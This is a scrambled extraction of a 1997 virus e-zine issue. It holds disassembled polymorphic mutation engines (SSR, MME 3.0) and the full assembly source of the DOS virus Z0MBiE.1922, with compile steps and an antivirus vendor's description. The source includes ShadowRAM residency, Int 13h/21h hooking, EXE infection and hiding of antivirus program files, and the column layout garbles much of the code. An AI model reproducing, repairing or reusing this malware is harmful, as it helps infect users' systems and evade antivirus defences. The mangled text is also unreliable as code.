pop bx pop ax ret generate_enc_instruction: push ax push bp mov bp,offset(encrypt_inst) shl ax,1 shl ax,1 add bp,ax mov ax,cs:[bp+si] mov cs:[bx+si],ax mov ax,cs:[bp+si+2] mov ah,dl mov cs:[bx+si+2],ax sub bx,4 pop bp pop ax ret

; ; ; ; ; ;

Get instruction opcodes Add to encryptor opcodes Add mask Add to encryptor Next instruction

generate_dec_instruction: cld push ax push cx push bx push bp mov bx,offset(decrypt_inst) add bx,ax ; Select instruction mov al,2Eh ; Generate CS: prefix stosb mov ah,cs:[bx+si] ; Get opcode from table mov al,cs:[si+opindex] and al,0C7h add al,ah ; Build operation+reg_index opcode mov cs:[si+opindex],al mov cs:[si+_mask],dl push si push ds push cs pop ds mov cx,5 add si,offset(decryption_inst) cld rep movsb ; Generate instruction pop ds pop si pop bp pop bx pop cx pop ax ret db db db db

0Dh,0Ah 'THE STAINLESS STEEL RAT MUTATION ENGINE v 2.00 beta' 0Dh,0Ah '²±°(c) S.S.R. 1996-97°±²',0Dh,0Ah

db db db

0 0 0

register_table:

db db db db db

0 0 0 0 0

value_registers: value_di dw value_ax dw value_bx dw value_bp dw

0 0 0 0

index_reg value_index ofs_start_dec ofs_src

0 0 0 0

db dw dw dw

op_reg_inm_table: db db db db db db db db

81h, 0C0h 81h, 0E8h 81h, 0F8h 81h, 0E0h 81h, 0C8h 81h, 0F0h 81h, 0F8h 0F7h,0C0h

; ; ; ; ; ; ; ;

_1byte_table: int aaa daa cbw cwd aas das db db db db clc cmc stc cld std nop antidisasm_table: db db db db

3

026h 02Eh 036h 03Eh

; ; ; ;

ES: CS: SS: DS:

; ; ; ; ; ; ; ;

ADD SUB CMP AND OR XOR CMP TEST

066h 069h 0EAh 09Ah

operation_table: db db db db db db db db

1 29h 39h 21h 9 31h 39h 85h

ADD reg,inm SUB reg,inm CMP reg,inm AND reg,inm OR reg,inm XOR reg,inm CMP reg,inm TEST reg,inm

_2bytes_table: db db db db db db db db

0FFh, 0FFh, 0F7h, 0D3h, 0D3h, 0D3h, 0F7h, 0D3h,

0C0h 0C8h 0D0h 0E0h 0E8h 0C0h 0D8h 0C8h

; ; ; ; ; ; ; ;

INC DEC NOT SHL SHR ROL NEG ROR

db db db db

1 3 1Ch 28h

; ; ; ;

3 6

; 0

; BX ; SI

db db

3 7

; 2

; BX ; DI

db db

5 6

; 4

; BP ; SI

db db

5 7

; 6

; BP ; DI

db db

6 6

; 8

; SI ; SI

db db

7 7

; 10

; DI ; DI

db db

5 5

; 12

; BP ; BP

db db

3 3

; 14

; BX ; BX

add sub xor add

byte byte byte byte

db db db db

28h 0 30h 28h

reg reg reg reg,CL reg,CL reg,CL reg reg,CL

int_table:

register_combination: db db

int int int int

1 3 1Ch 28h

encrypt_inst: ptr ptr ptr ptr

es:[bx],0 es:[bx],0 es:[bx],0 es:[bx],0

decrypt_inst: ; ; ; ;

SUB ADD XOR SUB

end_ssrme200b: SSRME200b public

ends ssrme_engine end

; End of SSRME 2.0b disasm ; (c) 1997, Tcp/29A ([email protected]) ; ; - -[MME.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

; ; ; ; ; ; ; ; ; ; ; ;

Metamorphic Mutation Engine 3.0 (MME 3.0), by SSR Disasm by Tcp/29A ([email protected]) Entry: BX = runtime offset (delta offset) DS:DX = code to be encrypted ES = work segment CX = size Return : DS:DX = decryptor + code CX = size decryptor + code

MME30 segment assume cs:MME30, ds:MME30, es:MME30, ss:MME30 org 0 MME_DEC_SIZE SIZE_MME

= =

1500 end_mme - start

call

MME_delta

sub

si,3

mme_engine: start: MME_delta: pop si pop ax push push push

push nop push push pop ds cld

cs ax mov es mov sub mov cx mov

; Get delta offset

di,100h ax,es ax,10h es,ax cx,SIZE_MME

ds cs

rep

movsb

; Copy code to buffer

mov es ax retf

ax,offset(mme_start)+100h

pop mov mov add mov mov mov mov

es si,100h ax,es ax,(SIZE_MME+15)/16+1 es,ax cs:[si+ofs_in_file],bx cs:[si+length_code],cx cs:[si+base_code],dx

mov xor mov

al,90h ; NOP di,di cx,MME_DEC_SIZE ; Length of decryptor

pop ds pop cx push push

; Jump to copy (mme_start)

mme_start:

cld

rep xor

stosb di,di

; Fill with NOPs

call call and cmp jne

make_garbage get_random al,7 al,1 gen_jx?

call jmp

generate_call check_garbage_s

cmp jne

al,2 ; Generate conditional jump+garbage? check_garbage_s ; No? then jmp

call

generate_jx_garbage

cmp jb call and add mov ax mov

di,1000 ; <1000 bytes of garbage? more_garbage ; Yes? then jmp get_random ax,1Fh ; AX in [0..31] ax,1150 ; [1150..1181]: Return from RETF cs:[si+return_retf],ax ax,0C63Eh

; MOV DS:

mov

al,6

; [addr16],inm8

mov call and add mov stosw mov stosb call mov

ah,0 get_random al,3Fh al,0C0h ; AX in [0C0h..0FFh] cs:[si+addr_retf],ax ; [addr16]:=[0C0h..0FFh] al,0CBh ; inm8:=RETF ; Generated: mov byte ptr ds:[xxxx],0CBh generate_garbage al,0Eh ; Generate PUSH CS

call mov

generate_garbage al,68h ; Generate PUSH inmediate (ret address)

add stosw call mov

ax,cs:[si+ofs_in_file] ; Return address from retf generate_garbage al,1Eh ; Generate PUSH DS

call mov

generate_garbage al,68h ; Generate PUSH inmediate (to RETF)

mov stosw call mov

ax,cs:[si+addr_retf] ; Address of runtime generated RETF generate_garbage al,0CBh ; Generate RETF (jmp to generated RETF)

cld more_garbage:

; AL in [0..7] ; Generate call? ; No? then jmp

nop nop nop

nop gen_jx?:

nop nop nop

check_garbage_s:

push stosw stosb

stosb

stosb pop ax

stosb

stosb

stosb mov sub

cx,cs:[si+return_retf] cx,di ; Fill with garbage to return address

call

get_random

loop call call and mov mov mov mov

l_more_shit generate_garbage get_random ax,3 ; AX in [0..3] bp,ax ; Select register index al,byte ptr cs:[bp+si+regop_table] cs:[si+indexop_reg],al ah,byte ptr cs:[bp+si+regop2_table]

mov mov

cs:[si+indexop2_reg],ah al,0C7h ; Generate MOV reg16,inm ; MOV reg_index,start address

l_more_shit: stosb

and ah,7

stosb mov al,0C0h add stosb mov add add stosw call mov call mov add push es pop ds xor dx,dx retf db db

al,ah

; reg16=(SI or DI)

ax,MME_DEC_SIZE ; Calculate starting address to decrypt ax,cs:[si+ofs_in_file] ax,cs:[si+length_code] generate_garbage cs:[si+decryptor_ofs],di generate_encryptor cx,cs:[si+length_code] cx,MME_DEC_SIZE

'MME v 2.00',0 'ü S.S.R. 1996-97',0

generate_segmentprefix: and al,00011000b add al,26h

; ; ; ;

; Start decryptor

; Code + decryptor

; 2.0??? It's 3.0 ;)

00h+26h 10h+26h 08h+26h 18h+26h

= = = =

26h 36h 2Eh 3Eh

(ES:) (SS:) (CS:) (DS:)

stosb ret generate_1byteinst: and mov add mov stosb ret generate_reg8reg8: call stosb call and add stosb

ax,0Fh ; AX in [0..15] bp,offset(MME_1byte) bp,ax al,cs:[bp+si] ; Generate 1 byte instruction

generate_toreg8 get_random al,00111111b al,11000000b

; Allow all registers ; Mode 3: Register to Register

ret generate_reg8addr16: call stosb call and add stosb call stosb call stosb ret generate_reg8inm: mov stosb call stosb call stosb ret

generate_toreg8 get_random al,00111111b al,10000000b

; Allow all registers ; Mode 2: Inmediate 16 bits address

get_random

; Generate word

get_random

al,10000000b

; [3 bytes operation]; to reg; 8 bits

generate_regop get_random

; Generate inmediate value

al,0EBh

; Generate JMP xx (short)

generate_shit

; 1 to 8 bytes of shit

ax,di

; Calculate offset of JMP (skip shit)

es:[bp],al

; Store offset

and add

al,00000010b al,11010000b

; 8 bits ; [RCL,RCR,ROL,ROR,SHL,SHR,SAL,SAR]

call

generate_regop2

mov

al,0E4h

; Generate IN AL,xx

call

get_random

; Random port

inc

di

; Generate NOP

al,0CDh

; Generate INT xx

get_random al,1 generate_int3

; Generate int 3? ; Yes? then jmp

generate_jmpshort: mov stosb push di inc di call pop bp mov sub ax,bp dec al mov ret generate_shift8:

stosb stosb ret generate_in: stosb stosb ret

generate_int1_int3: mov stosb call rcr jc nop nop nop

mov jmp nop

al,1 store_int

; Generate int 1

mov

ax,230Fh

; Generate MOV dr?,extended-register

call and add

get_random al,1Fh al,0C0h

; AL in [0C0h..0DFh]

al,66h

; Extended register prefix

get_random al,00111000b al,00000011b

; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP] ; to reg; 16 bits

get_random al,00011111b al,11000000b

; Don't use ESP,EBP,ESI,EDI as dest. ; Mode 3: Register to register

ax,8166h

; Extended regs; 6 bytes operation

get_random al,00111011b al,11000000b

; Don't use ESP,EBP,ESI,EDI as dest.

cx,4

; Generate a double word

generate_int3: mov al, 3 store_int: stosb ret generate_movdrx: stosw

stosb ret generate_reg32reg32: mov stosb call and add stosb call and add stosb ret generate_reg32inm32: mov stosw call and add stosb push cx mov l_gen_doubleword: call stosb loop pop cx ret MME_function_table: dw dw dw dw dw dw dw dw dw dw dw dw dw dw

get_random l_gen_doubleword

offset(generate_segmentprefix) offset(generate_1byteinst) offset(generate_reg8reg8) offset(generate_reg8addr16) offset(generate_reg8inm) offset(generate_jmpshort) offset(generate_shift8) offset(generate_in) offset(generate_int1_int3) offset(generate_movdrx) offset(generate_reg32reg32) offset(generate_reg32inm32) offset(generate_reg8reg8) offset(generate_reg8addr16)

dw dw

offset(generate_reg8inm) offset(generate_jmpshort)

get_random: pushf push mov ror xor inc pop popf ret

cx in cl,al in al,cl al,cl al cx

al,40h

; Get random number

al,40h

; Get random number

call and add

get_random al,00111000b al,00000010b

; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP] ; to reg; 8 bits

call and add

get_random al,00111111b al,11000000b

; All registers ; Mode 3: Register to register

call and add

get_random al,00111111b al,11000000b

generate_toreg8:

ret generate_regop:

ret generate_regop2:

; = generate_regop !!

ret ;; Unused code !! ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; call get_random and al,00111111b add al,10000000b ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; generate_shit: push

cx call and inc mov

get_random ax,7 ax cx,ax

call

get_random

loop

l_gen_shit

; AX in [1..8]

l_gen_shit: stosb pop cx ret generate_jx_garbage: call and add ofsret_garbage: stosb push inc di push cx

get_random al,0Fh al,70h ; AL in [70h..7Fh] Generate conditional jump

di

; Save offset address

call and mov inc

get_random ax,3 cx,ax cx ; CX in [1..4]

call mov and shl mov call add call loop

get_random bx,ax bx,7 ; BX in [0..7] bx,1 ; Select garbage function from table bp,word ptr cs:[bx+si+MME_function_table] get_random bp,si bp ; Call garbage funtion l_call_table

mov sub mov call call ret

ax,di ax,bp es:[bp],al get_random generate_1byteinst

mov

al,0E8h

; CALL

inc cx call and mov inc

di

; Space for offset

call mov and shl mov call add call loop

get_random bx,ax bx,7 ; BX in [0..7] bx,1 ; BX:=BX*2 bp,word ptr cs:[bx+si+MME_function_table] get_random bp,si bp ; Call garbage function l_call_table2

mov sub mov mov call

ax,di ax,bp es:[bp],ax al,0EBh ofsret_garbage

mov

al,0C3h

; Generate RET

ax bp bx call and shl

get_random ax,0Fh ax,1

; [0..15] ; AX:=AX*2

l_call_table:

pop cx pop bp

generate_call: stosb push inc di push

di

get_random ax,3 cx,ax cx

; AX in [0..3] ; CX in [1..4]

l_call_table2:

pop cx pop bp

; JMP

dec di stosb ret make_garbage: push push push

mov mov add call call

bp,ax ; Select garbage funtion bx,word ptr cs:[bp+si+MME_function_table] bx,si get_random bx ; Call garbage table

pop bx pop bp pop ax ret generate_garbage: push cx call and inc mov l_mk_garbage: call loop pop cx ret generate_encryptor: mov mov l_generate_encryptor: call and mov shl shl call mov mov mov mov mov mov mov stosw mov and add mov stosw call sub loop push di mov mov mov l_encrypt_code: mov mov es:[di],al db first_enc_inst equ inc inc bp loop pop di call mov

get_random ax,3 ax cx,ax

; AX in [0..3] ; CX in [1..4]

make_garbage l_mk_garbage

cx,8 ; 8 encryption/decryption instructions bx,offset(first_enc_inst) get_random ax,3 ; AX in [0..3] bp,ax bp,1 bp,1 ; BP:=AX*4 get_random cs:[si+_mask],al ; Generate mask ax,word ptr cs:[bp+si+encrypt_table] ; Encrypt op. cs:[bx+si],ax ; Store it ax,word ptr cs:[bp+si+encrypt_table+2] ah,cs:[si+_mask] ; xxx es:[xx],_mask cs:[bx+si+2],ax ax,word ptr cs:[bp+si+decrypt_table] ; Decrypt op. ; Store it ax,word ptr cs:[bp+si+decrypt_table+2] al,0F8h ; Clear index register al,cs:[si+indexop_reg] ; Register index [xx] ah,cs:[si+_mask] ; xxx cs:[xx],_mask generate_garbage bx,4 l_generate_encryptor

; and decryptor

cx,cs:[si+length_code] di,MME_DEC_SIZE bp,cs:[si+base_code]

; Bytes to encrypt ; Destination ; Source

al,ds:[bp] 8*4 dup(90h) $-4 di

; 8 instructions; 4 bytes each one

l_encrypt_code generate_garbage al,48h ; Generate DEC register index

add

al,cs:[si+indexop2_reg]

call mov add

generate_garbage ax,0F881h ; Generate CMP reg index,end decryption ah,cs:[si+indexop2_reg]

mov add

ax,cs:[si+ofs_in_file] ax,MME_DEC_SIZE-1

mov

ax,840Fh

stosb

stosw

stosw ; Generate JE xxxx (JE decrypted code)

stosw mov sub ax,di stosw mov stosb mov sub ax,di dec ax dec ax stosw mov sub

ax,MME_DEC_SIZE-2

al,0E9h

; Generate JMP xxxx (decryptor loop)

ax,cs:[si+decryptor_ofs]

cx,MME_DEC_SIZE cx,di ; Fill free space with shit

l_shit: call

get_random

loop ret

l_shit

xor add sub add

byte byte byte byte

ptr ptr ptr ptr

es:[di],0 es:[di],0 es:[di],0 es:[di],0

xor sub add sub

byte byte byte byte

ptr ptr ptr ptr

cs:[di],0 cs:[di],0 cs:[di],0 cs:[di],0

dw dw dw db dw db db dw dw

0 0 0 0 0 0 0 0 0

stosb

encrypt_table:

decrypt_table:

ofs_in_file base_code length_code indexop2_reg return_retf _mask indexop_reg decryptor_ofs addr_retf MME_1byte:

cli cmc stc clc std cld aaa daa aas das sti cbw

; Start of decryptor

cwd int db nop

3 0F3h

; REP

db db db db

0FFh 0F6h 0FFh 0F6h

; ; ; ;

DI SI DI SI

db db db db

5 4 5 4

; ; ; ;

DI SI DI SI

db db db

'Metamorphic Mutation Engine v 3.00',0 '(C) Stainless Steel Rat 1996-97',0 'It''s C00LEST Engine',0

regop2_table:

regop_table:

end_mme: MME30 public

ends mme_engine end

; End of MME 3.0 disasm ; (c) 1997, Tcp/29A ([email protected])

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Z0MBiE.1922 ³ ³ written by Z0MBiE ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄThis virus is related with the Win95.Z0MBiE virus, also included in this issue of 29A, in the "Win32" section. It is dropped in the root directory of every drive in which Win95.Z0MBiE has infected a PE file, with the system and archive attributes. From that moment onwards, Z0MBiE.1922 is able to spread all over the HD with independence of what his "daddy" does. This DOS virus is the first ever to use ShadowRAM in order to go resident. This new technique has many advantages, and maybe the most important is that it is impossible to unhook the virus by normal means, as its code is locked and is only accesable when performing the infection tasks, after being called from int 13h or int 21h. Z0MBiE has many other peculiarities, described below by Igor Daniloff in his analysis of this virus.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 Zombie.1922 Igor Daniloff DialogueScience Zombie.1922 is a destructive resident encrypted virus. It is a "product of the life activity" of Win95.Zombie. After creation, Zombie.1922 "leads a full-fledged life" all by itself. Win95.Zombie creates a file ZSetUP.EXE in the root directory of every drive it infects. On starting ZSetUP.EXE, the virus code gets control and examines whether it (the virus) can open RAM Shadow for writing. Then it determines a 2122-byte block of free memory (of zero bytes) in the segment 0C000h. If it succeeds in this, the virus determines the location address of the 8x14 system font. If this font exists in the segment 0C000h and if the address of the original Int 13h handler is available in the segment 0F000h, the virus opens RAM Shadow for writing and plants its code in the zero byte region or at the location of the 8x14 system font. Then the virus modifies the original Int 13h handler by inserting a command for transferring control to the virus procedure. Finally, RAM Shadow is "closed" to lock it from further writing. On reading the sector (f.2 Int 13h) of initial signature "MZ", the virus "intercepts" Int 21h, whose handler infects every EXE that is started or opened for reading or writing. While reading the sectors containing directory or file entries, the virus looks for the byte strings ADINF, AIDS, AVP, WEB, DRWEB, ---, CPP, C, S-ICE, TD, DEBUG, WEB70801, and CA. On detecting any such string, the virus sets in the sector just read the first byte OE5h (attribute for a deleted file) for the detected entry and "overwrites" all other bytes with zeros in the entry. Thus, if the virus is active, the operating system will not even suspect the presence of these files in the drive. The virus handlers of Int 13h and Int 21h, upon receiving control, "open" RAM Shadow, launch their procedures, and finally "close" RAM Shadow. Without appropriate shadow memory manipulations, it is not possible to kill or eradicate the resident virus code. On detecting this virus in the memory, the system must be cured by starting the machine from an independent boot diskette containing a "clean" operating system. Beware! Zombie.1922 is, apparently, clever enough to open RAM Shadow on most of the modern system boards with Pentium. The virus contains a few text strings: Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE

; ; ; ; ; ; ; ; ; ; ; ; ; ;

Tnx to S.S.R. ShadowRAM/Virtual Process Infector ShadowRAM Technology (c) 1996,97 Z0MBiE - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

Compiling it ÄÄÄÄÄÄÄÄÄÄÄÄ tasm /m zombie.asm tlink zombie.obj exe2bin zombie.exe zombie.com

- -[ZOMBIE.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

include include include include

#equ.inc #macro.inc #struc.inc #header.inc org

100h

jmp

tsr_sh

start:

exe_start: sux

mov al, es:[0028h] label word not al ; normal: al=0 ; web: al<>0 xor cs:@@sux, al lea mov mov segcs inc shl or loop mov label inc cmp jne jmp

si, real_code di, si cx, 8 lodsb ax bx, 1 bx, ax @@1 cs:[di], bl byte di di, offset real_code + vir_size + stamms_max_ip @@2 $+2

decr_size

equ

$-start

real_code:

call

stamm

mov int cmp je

ax, in_ID 13h ax, out_ID @@continue

call

tsr_sh

mov add

cx, es cx, 16

@@2: @@1:

@@sux

@@continue:

lastword

mov ax, 1234h save_ss add ax, cx

lastword

lastword

lastword

mov ss, ax mov sp, 1234h save_sp mov save_cs add push push save_ip

ax, 1234h

xor

ax, ax

ax, cx ax 1234h

retf include include include include include include include include include include include

rnd.inc sh_ram.inc tsr_sh.inc findR13.inc ints.inc infect.inc hook21.inc fuck13.inc switch13.inc const.inc stamms.inc

vir_size

equ

include

var.inc

tsr_size

equ

$-start

org db

($-start+256+15) and (not 15) 256 dup (?)

exe_endofstack: exe_memory equ

$-start

($-start+256+15)/16

end start ; - -[#EQU.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 in_ID out_ID

equ equ

'ð ' '’Œ'

v_size

equ

decr_size + (vir_size + stamms_max_ip) * 8

b0 b1 b2 b3

equ equ equ equ

(byte (byte (byte (byte

ptr ptr ptr ptr

0) 1) 2) 3)

w0 w1 w2 w3

equ equ equ equ

(word (word (word (word

ptr ptr ptr ptr

0) 1) 2) 3)

l h

equ equ

w0 w2

offs segm

equ equ

w0 w2

; flags fl_CF fl_PF fl_AF fl_ZF fl_SF fl_TF fl_IF fl_OF

equ equ equ equ equ equ equ equ

0001h 0004h 0010h 0040h 0080h 0100h 0200h 0800h

; dos file attributes fa_readonly fa_hidden fa_system fa_volumeid fa_directory fa_archive

equ equ equ equ equ equ

01h 02h 04h 08h 10h 20h

fa_infect

equ

fa_readonly + fa_hidden + fa_system + fa_archive

; - -[#MACRO.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 mve

macro push pop endm

setalc

macro db endm

x, y y x

0D6h

lastword name

macro equ endm

name word ptr $-2

lastbyte name

macro equ endm

name byte ptr $-1

; - -[#STRUC.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; dta dta_struc dta_drive dta_name8 dta_ext3 dta_searchattr dta_num dta_dircluster dta_attr dta_time dta_date dta_size dta_name

struc db db db db dw dw dd db dw dw dd db ends

? 8 dup (?) 3 dup (?) ? ? ? ? ? ? ? ? 13 dup (?)

; exe header exe_struc

struc

; 0=a,1=b,2=c

; 0=. 1=.. ; ; ; ;

unused 1=r 32=a 16=d 2=h 4=s 8=v çççç第¬ ¬¬¬ááááá £££££££¬ ¬¬¬¤¤¤¤¤

exe_mz exe_last512 exe_num512 exe_relnum exe_headersize exe_minmem exe_maxmem exe_ss exe_sp exe_checksum exe_ip exe_cs exe_relofs exe_ovrnum exe_neptr

dw dw dw dw dw dw dw dw dw dw dw dw dw dw db dd ends

? ? ? ? ? ? ? ? ? ? ? ? ? ? 32 dup (?) ?

; sys header sys_header sys_nextdriver sys_attr sys_strategy sys_interrupt sys_name

struc dd dw dw dw db ends

? ? ? ? 8 dup (?)

; last driver: offset = FFFF

; sft sft_struc sft_handles sft_openmode sft_attr sft_flags sft_deviceptr sft_filecluster sft_date sft_time sft_size sft_pos sft_lastFclustr

struc dw dw db dw dd dw dw dw dd dd dw

sft_dirsect sft_dirpos sft_name sft_chain sft_uid sft_psp sft_mft sft_lastclust sft_ptr

dd db db dd dw dw dw dw dd ends

? ? ? ? ? ? ? ? ? ? ? ? ? 11 dup (?) ? ? ? ? ? ?

; share.exe ; share.exe ; share.exe

; - -[#HEADER.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 .model .code .386p assume locals jumps

tpascal

ds:code @@

; - -[RND.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; random number generator ; output: ax=random(65536) ; zf=rnd(2) random: lastword

push mov rndword in xor in add in sub in xor in add in sub mov xchg pop test ret

bx bx, 1234h al, 40h bl, al al, 40h bh, al al, 41h bl, al al, 41h bh, al al, 42h bl, al al, 42h bh, al cs:rndword, bx bx, ax bx al, 1

; input: ax ; output: ax=random(ax) ; zf=rnd(2) rnd:

push push xchg call xor div xchg pop pop test ret

bx dx bx, ax random dx, dx bx dx, ax dx bx al, 1

; - -[SH_RAM.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; shadow ram manager ; save shadowram state save_sh_state:

push

cx

mov call mov

cl, 59h cf8_read CS:state_F000, ch

inc call mov

cx cf8_read CS:state_C000, ch

inc call mov

cx cf8_read CS:state_C800, ch

pop ret

cx

; restore shadowram state rest_sh_state:

nop push

lastbyte

lastbyte

lastbyte

; nop/ret cx

mov cx, 0059h state_F000 call cf8_write inc cx mov ch, 12h state_C000 call cf8_write inc cx mov ch, 12h state_C800 call cf8_write pop ret

cx

; enable shadowram write disable_sh:

push

cx

mov mov and or call

cl, 59h ch, CS:state_F000 ch, 10001111b ch, 00110000b cf8_write

inc mov call

cx ch, 00110011b cf8_write

inc mov call

cx ch, 00110011b cf8_write

pop ret

cx

; read PCI register cf8_read:

push

eax dx

call

cf8_main

in mov

al, dx ch, al

pop ret

dx eax

; write PCI register cf8_write:

push

eax dx

cf8_main:

call

cf8_main

mov out

al, ch dx, al

pop ret

dx eax

mov mov and

eax, 80000000h al, cl al, 11111100b

mov out

dx, 0CF8h dx, eax

add mov and add

dl, al, al, dl,

4 cl 11b al

ret ; - -[TSR_SH.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 rnd_size scan_size

equ equ

66 tsr_size + rnd_size

; ; ; output: ZF tsr_sh:

push mve

ds es ds, cs

cli cld call

save_sh_state

mov inc jz

al, state_F000 al @@exit

call jne

find_real_13 @@exit

call je

scan_C000 @@ok

IF

SCAN_SIZE LE 14*256

call je

scan_8x14_1 @@ok

call je

scan_8x14_2 @@ok

ENDIF ; ZF=0 ret

; FF

@@ok:

call

disable_sh

mov call add

ax, rnd_size rnd bp, ax

add and shr mov add sub mov lea

bp, bp, bp, ax, ax, ax, es, di,

mov mov mov

EA, 0EAh EA.w1, offset int_13_sh EA.w3, es

mov

my_seg, es

lea mov rep

si, start cx, tsr_size movsb

call

switch_13

call

rest_sh_state

xor

ax, ax ; CF=0

@@exit:

pop ret

es ds

scan_C000:

mve xor

es, 0C000h di, di

; C000:0000

xor mov

dl, dl dh, es:[di+2]

; dx = bios size in WORDs

shl

dx, 1

; in BYTEs

jnc mov

@@1 dh, 80h

; max 64k

sub

dx, scan_size + 32

xor

ax, ax

mov

bp, di

mov repe je

cx, (scan_size + 1) / 2 scasw @@exit

cmp jbe

di, dx @@2

@@1:

@@2:

@@exit:

scan_8x14_1:

15 not 15 4 es bp 16 ax start

ZF=1

ret IF

SCAN_SIZE LE 14*256

mov

ax, 1130h

mov int

bh, 2 10h

mov cmp

ax, es ax, 0c000h

; 8x14

ret scan_8x14_2:

mve xor

es, 0c000h di, di

@@2:

mov xor repe jnz

cx, 14 al, al scasb @@1

mov repe

cx, 16 scasb

cmp jne cmp je

es:[di-1].w0, 1000000101111110b @@1 es:[di-1+14].w0, 1111111101111110b @@3

@@1:

cmp jbe

di, 0f000h @@2

@@3:

mov

bp, di

ret ENDIF ; - -[FINDR13.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 find_real_13:

mov int mov mov mov int cmp ret

ah, 13h 2Fh cx, es cs:real_13.offs, bx cs:real_13.segm, es 2Fh cx, 0F000h

; - -[INTS.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 int_21:

cmp je

ax, in_id ax_in_id

cmp je cmp je cmp je

ax, 4b00h infect_dsdx ah, 43h infect_dsdx ah, 3Dh infect_dsdx

exit_21: old_21

db dd

0eah ?

infect_dsdx:

call jmp

infect_file exit_21

ax_in_id:

mov

ax, out_id

iret int_13_sh:

real_13

cmp je

ax, in_id ax_in_id

call call mov call

disable_sh switch_13 cs:save_ax, ax rest_sh_state

pushf db dd

09Ah ?

pushf call

disable_sh

cmp jne

CS:save_ax.b1, 02h @@1

cmp jne call

es:[bx].w0, 'ZM' @@2 hook_21

call

analize_13_02

call

switch_13

call popf

rest_sh_state

retf

2

@@2: @@1:

; - -[INFECT.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 call21:

infect_file:

; ; ;@@0: ; ; ; ; ;

pushf call ret

cs:old_21

call mov

disable_sh CS:rest_sh_state.b0, 0C3H

pusha push cld

ds es

mov cld mov lodsb or jnz cmp jne

si, dx

mov call jc

ax, 3D00h call21 @@exit

xchg

bx, ax

mov mve

ah, 3Fh ds, cs

ah, al al, al @@0 ah, '_' @@exit

@@mz:

lastword

lea mov call cmp jne

dx, header cx, size exe_struc call21 ax, cx @@close

mov cmp je cmp jne

ax, header.exe_mz ax, 'ZM' @@mz ax, 'MZ' @@close

cmp je

header.exe_checksum.b0, 'i' @@close

mov xor mov shl call

ax, 4200h cx, cx dx, header.exe_headersize dx, 4 call21

mov lea mov call cmp jne

ah, 3Fh dx, tempword1 cx, 2 call21 ax, cx @@close

mov ax, 1234h tempword1 inc ax jz @@close push mov int mov mov int pop

bx ax, 1220h 2Fh bl, es:[di] ax, 1216h 2Fh bx

mov mov or jz mov div or jz

dx, es:[di].sft_size.h ax, es:[di].sft_size.l al, al @@exit cx, 1000 cx dx, dx @@exit

mov

es:[di].sft_openmode, 2

mve

es, cs

mov dec mov mul add adc mov mov

ax, ax cx, cx ax, dx, si, di,

header.exe_num512 512 header.exe_last512 0 ax dx

mov cwd xor call

ax, 4202h

cmp jne cmp jne

ax, si @@close dx, di @@close

add adc and

ax, 15 dx, 0 al, not 15

sub sub

si, ax header.exe_last512, si

push push

ax dx

shr shl or sub sub

ax, dx, ax, ax, ax,

mov xchg mov

cx, ax cx, header.exe_cs save_cs, cx

lea xchg mov

cx, exe_start cx, header.exe_ip save_ip, cx

mov xchg mov

cx, ax cx, header.exe_ss save_ss, cx

lea xchg mov

cx, exe_endofstack cx, header.exe_sp save_sp, cx

add

header.exe_minmem, exe_memory

add add

header.exe_num512, v_size / 512 header.exe_last512, v_size mod 512

mov

header.exe_checksum.b0, 'i'

mov pop pop call

ax, 4200h cx dx call21

call

gen_stamm

mov lea mov call

ah, 40h dx, start cx, decr_size call21

lea

si, real_code

cx, cx call21

4 12 dx header.exe_headersize 16

@@1:

lea mov

di, buf cx, 8

@@2:

lodsb xchg

dx, ax

mov

bp, 8

xor shl rcl dec stosb

ax, ax dl, 1 ax, 1 ax

dec jnz

bp @@3

loop

@@2

mov lea mov call

ah, 40h dx, buf cx, 64 call21

cmp jb

si, offset real_code + vir_size + stamms_max_ip @@1

mov cwd xor call

ax, 4200h

mov lea mov call

ah, 40h dx, header cx, size exe_struc call21

@@close:

mov call

ah, 3Eh call21

@@exit:

pop popa

es ds

mov call

CS:rest_sh_state.b0, 90H rest_sh_state

@@3:

cx, cx call21

ret gen_stamm:

lea mov stosb mov xor rep

di, stamm al, 0C3h

mov

sux, 0D0F6h

mov out in cmp jne

al, 8 70h, al al, 71h al, 10 @@exit

; RET

cx, stamms_max_ip - 1 ax, ax stosb ; not al

; month

; october ?

@@1:

mov

sux, 00B0h

mov call xchg imul add

ax, rnd si, si, si,

mov

cx, 2

lodsw xchg add movsb lodsw xchg add movsd loop

@@exit:

; mov al, 0

stamms_num ax (2+1+2+4)*2 offset stamm_1

di, ax di, offset stamm

di, ax di, offset stamm

@@1

ret

; - -[HOOK21.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 hook_21:

@@1:

pusha push

ds es

xor mov les or jz

si, ds, bx, bx, @@1

mov int cmp je

ax, in_id 21h ax, out_id @@1

mov mov

cs:old_21.offs, bx cs:old_21.segm, es

mov mov

ds:[si+21h*4].offs, offset int_21 ds:[si+21h*4].segm, cs

pop popa

es ds

